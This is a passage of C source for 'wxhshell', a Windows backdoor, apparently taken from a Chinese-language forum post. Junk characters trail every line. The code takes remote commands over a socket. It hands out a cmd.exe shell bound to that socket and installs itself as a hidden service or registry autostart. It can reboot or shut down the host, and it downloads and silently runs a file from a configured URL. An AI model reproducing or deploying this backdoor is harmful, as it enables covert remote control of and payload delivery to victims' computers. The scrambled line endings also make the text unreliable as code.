    switch(cmd[0]) { o5Q{/  
  IzpZwx^3''  
  // 帮助 OdB?_.+$  
  case '?': { f4PIoZ e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?'<nx{!c  
    break; G 8V,  
  } `YI f_a{  
  // 安装 Iwc{R8BV  
  case 'i': { GPGm]Gt  
    if(Install()) 4A2?Uhp y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!!yd8~*r  
    else 0eS)&GdR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pb=cBZ$  
    break; 7__Q1 > o  
    } $]A/ o(  
  // 卸载 uECsh2Uin  
  case 'r': { Gqy,u3lE  
    if(Uninstall()) yfC^x%d7G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1hziXC0WY  
    else th&[Nt7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P [k$vD  
    break; Q J7L7S  
    } l!g]a2x*  
  // 显示 wxhshell 所在路径 $.[#0lCI  
  case 'p': { kVy\b E0o  
    char svExeFile[MAX_PATH]; a@0BBihz  
    strcpy(svExeFile,"\n\r"); 6%VV,$p  
      strcat(svExeFile,ExeFile); gw}Mw  
        send(wsh,svExeFile,strlen(svExeFile),0); ~mR'Q-hi<  
    break; Z>^pCc\lH  
    } `2PLWo  
  // 重启 Ed ,D8ND  
  case 'b': { 4M^G`WA}t9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1 %,a =,v  
    if(Boot(REBOOT)) b/Xbs0q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ME=/|.}D<  
    else { Vl2XDkhq  
    closesocket(wsh); Rh>}rGvCUN  
    ExitThread(0); Ey4z.s'-l  
    } V@\%)J'g  
    break; 4~N[%>zJ  
    } -G|G_$9  
  // 关机 /0eYMG+K=  
  case 'd': { rQaxr!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W[}s o6  
    if(Boot(SHUTDOWN)) "|HDGA5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HuV J\%.  
    else { R%c SJ8O#  
    closesocket(wsh); XB_B4X1R  
    ExitThread(0); Jzp#bgq}|  
    } /mK?E5H'r1  
    break; L^{|uP15N  
    } G2^et$<{uU  
  // 获取shell D2,z)O%VK  
  case 's': { wWp(yvz  
    CmdShell(wsh); [u._q:A  
    closesocket(wsh); u@4V7;L  
    ExitThread(0); P(K>=O  
    break; MXyaE~LK  
  } <fs2fTUeqF  
  // 退出 s\P2Bp_{  
  case 'x': { 2^^=iU=!<|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d`/tE?Gw  
    CloseIt(wsh); 2~t[RY  
    break;  ]$,UPR/3  
    } UA yC.$!  
  // 离开 -@Uqz781  
  case 'q': { q/4 [3h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E~ a3r]V/  
    closesocket(wsh); =k oSUVO0  
    WSACleanup(); 51QRM32Y  
    exit(1); A|@_}h"WG  
    break; d` [HT``  
        } %DQhM,c@  
  } :Pv*, qHE  
  } +d%L\^?F  
]7Z{ 8)T  
  // 提示信息 H`geS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >|Cw\^  
} W mm4hkf  
  } %.z,+Zz?  
A?@@*$&  
  return; &EpAg@9!  
} CQpCS_M  
,do58i K  
// shell模块句柄 UYz0PSV=.  
int CmdShell(SOCKET sock) 8dlw-Q'S  
{ @e'5E^  
STARTUPINFO si; RAp=s  
ZeroMemory(&si,sizeof(si)); L =8+_0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Q72;/$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q 3y;$"  
PROCESS_INFORMATION ProcessInfo;  3S&U!  
char cmdline[]="cmd"; }>[G5[ \  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CV{r5Sye  
  return 0; _Um d  
} .%82P(  
Kn?lHH*w7  
// 自身启动模式 -!\fpl{  
int StartFromService(void) VnT>K9&3  
{ SnYLdwgl  
typedef struct H&yD*@  
{ G5FaYL.7  
  DWORD ExitStatus; ZKdeB3D  
  DWORD PebBaseAddress; gp-T"l  
  DWORD AffinityMask; ?}B:  
  DWORD BasePriority; 8L1ohj  
  ULONG UniqueProcessId; 9Mgq1Z  
  ULONG InheritedFromUniqueProcessId; .WQ+AE8Q  
}   PROCESS_BASIC_INFORMATION; oQL59XOT4  
8+Td-\IMk  
PROCNTQSIP NtQueryInformationProcess; {vE(l'  
4);)@&0Md~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B7Tk4q\;Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; . ]8E7  
Gxa x2o  
  HANDLE             hProcess; sk|=% }y  
  PROCESS_BASIC_INFORMATION pbi; |0,vQv  
dCFlM&(i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;zdxs'hJ  
  if(NULL == hInst ) return 0; >dM8aJzC  
zY|klX})  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z~\t|Z]G,|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )H}#A#ovj7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SZ_V^UX_  
4&cL[Ny  
  if (!NtQueryInformationProcess) return 0; |G/7_+J6  
lW 81q2n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P%MfCpyj  
  if(!hProcess) return 0; 3! ~K^Z]  
Mzd[fR5a8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SAY f'[|w  
4R8G&8b  
  CloseHandle(hProcess); _pH{yhA  
T{}fHfM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &''WRgZ}  
if(hProcess==NULL) return 0; 28OWNS M=  
:5yV.7  
HMODULE hMod; %AW4.3()8  
char procName[255]; n$:IVX"2b  
unsigned long cbNeeded; "+uNmUUnm  
4c+$%pq5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ="d*E/##  
}Up.){.%  
  CloseHandle(hProcess); DKm Z  
mw^7oO#  
if(strstr(procName,"services")) return 1; // 以服务启动 qSx(X!YS  
|/ }\6L]  
  return 0; // 注册表启动 y3<Y?M4  
} 1h7+@#<:a  
]/cd;u  
// 主模块 n$(p-po  
int StartWxhshell(LPSTR lpCmdLine) b|5w]<?'  
{ auWXgkwZs/  
  SOCKET wsl; t]-uw-E  
BOOL val=TRUE; _u}4j9T  
  int port=0; ejXMKPE;  
  struct sockaddr_in door; *U#m+@\0  
~3RC>8*Qw  
  if(wscfg.ws_autoins) Install(); ]Zf6Yw.Y  
mNYl@+:psj  
port=atoi(lpCmdLine); cubUq5  
\x >65;  
if(port<=0) port=wscfg.ws_port; QjPj[c  
$t-n'Qh^2  
  WSADATA data; jtm?z c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]8;n{ }X  
N:"C+ a(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~}DQT>7$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >`jU`bR@  
  door.sin_family = AF_INET; z}Jr^>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s4H2/EC  
  door.sin_port = htons(port); '!1$9o^$  
t_ur&.^SB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A`6ra}U<  
closesocket(wsl); )$Z(|M4  
return 1; P;]F=m+ *V  
} _DP|-bp D  
~svO*o Wa  
  if(listen(wsl,2) == INVALID_SOCKET) { Vc3mp;6"  
closesocket(wsl); OJb*VtZz5R  
return 1; s:y ^_W)d  
} #&,H"?"  
  Wxhshell(wsl); rp7W }P+uU  
  WSACleanup(); VzlDHpG  
K^t?gt@k}  
return 0; rgcWRt  
<f~Fl^^8  
} Bf4%G,o5  
6yAA~;*5'  
// 以NT服务方式启动 P6U%=xaC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x6'^4y])  
{ q1k{  
DWORD   status = 0; _w ]4~V9  
  DWORD   specificError = 0xfffffff; <EO<x D=:  
FnHi(S|A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $A<ESfrs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AK u_~bTk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )fU(AXSP  
  serviceStatus.dwWin32ExitCode     = 0; kD.pzx EM  
  serviceStatus.dwServiceSpecificExitCode = 0; v$w++3H  
  serviceStatus.dwCheckPoint       = 0; eUO9 a~<  
  serviceStatus.dwWaitHint       = 0; Z%gx%$  
m|svQ-/j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R,@g7p  
  if (hServiceStatusHandle==0) return; ?HHzQ4w%{  
99 wc  
status = GetLastError(); Ps R>V)L  
  if (status!=NO_ERROR) Cef:tdk7  
{ #< CIFVH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BC\S/5~k  
    serviceStatus.dwCheckPoint       = 0; +1;'B4  
    serviceStatus.dwWaitHint       = 0; \.s`n2.w  
    serviceStatus.dwWin32ExitCode     = status; ,R wfp=*E  
    serviceStatus.dwServiceSpecificExitCode = specificError; gmSQcN)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0NO1M)HQv  
    return; o`r(`6@  
  } YT yX`Y#  
+iF 1sC_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `3iQZu i  
  serviceStatus.dwCheckPoint       = 0; 1x >iz `A  
  serviceStatus.dwWaitHint       = 0; KhM.Tc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :]eb<J  
} Bo\D.a(T  
,|To#umym>  
// 处理NT服务事件,比如:启动、停止 . \5$MIF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S-Ai3)t6  
{ I+,SZ]n  
switch(fdwControl) $EBb"+Y'T  
{ rj  H`  
case SERVICE_CONTROL_STOP: So4nJ><p  
  serviceStatus.dwWin32ExitCode = 0; s'_,:R\VM>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WtX>Qu|  
  serviceStatus.dwCheckPoint   = 0; (a{ZJI8_  
  serviceStatus.dwWaitHint     = 0; >xd<YwXZ  
  { t<b3K-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?~2Bi^W5  
  } !0fI"3P@r  
  return; x,Y 5U+]E  
case SERVICE_CONTROL_PAUSE: ,{<p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d\]O'U)s  
  break; Bh`IXu  
case SERVICE_CONTROL_CONTINUE: R,Ml&4pZ}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q~ 0Dfo w?  
  break; 68 x}w Ae  
case SERVICE_CONTROL_INTERROGATE: MTmO>V&O  
  break; q a!RH]B3  
}; d bO#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YBSl-G'  
} d\Jji 6W  
(@ ]tG?I=  
// 标准应用程序主函数 H=. K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hq xK\m%,.  
{  *W^=XbG  
vg^Myn   
// 获取操作系统版本 ,$Tk$  
OsIsNt=GetOsVer(); Vm!i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \p6 }  
v["3  
  // 从命令行安装 jp m#hH{R  
  if(strpbrk(lpCmdLine,"iI")) Install(); |NEd@  
Bxv8RB  
  // 下载执行文件 H~m]nV,r  
if(wscfg.ws_downexe) { #AncOo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zrx JN  
  WinExec(wscfg.ws_filenam,SW_HIDE); `-D$Fsl  
} VG#Q;Xd}  
V.,bwPb{9  
if(!OsIsNt) { K+mU_+KRp  
// 如果时win9x,隐藏进程并且设置为注册表启动 R`Qp d3  
HideProc(); (2%>jg0M  
StartWxhshell(lpCmdLine); 5\G)Q<A]*L  
} ]_2 yiKv&  
else t:9 ZCu ay  
  if(StartFromService()) },6*Y*?{  
  // 以服务方式启动 k!13=Gh  
  StartServiceCtrlDispatcher(DispatchTable); fq Y1ggL  
else 3'@&c?F ye  
  // 普通方式启动 $Q4=37H+  
  StartWxhshell(lpCmdLine); pbdF]>\  
#`j][F@N  
return 0; ]<X2AO1  
}
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只看该作者 1 发表于: 2006-10-10
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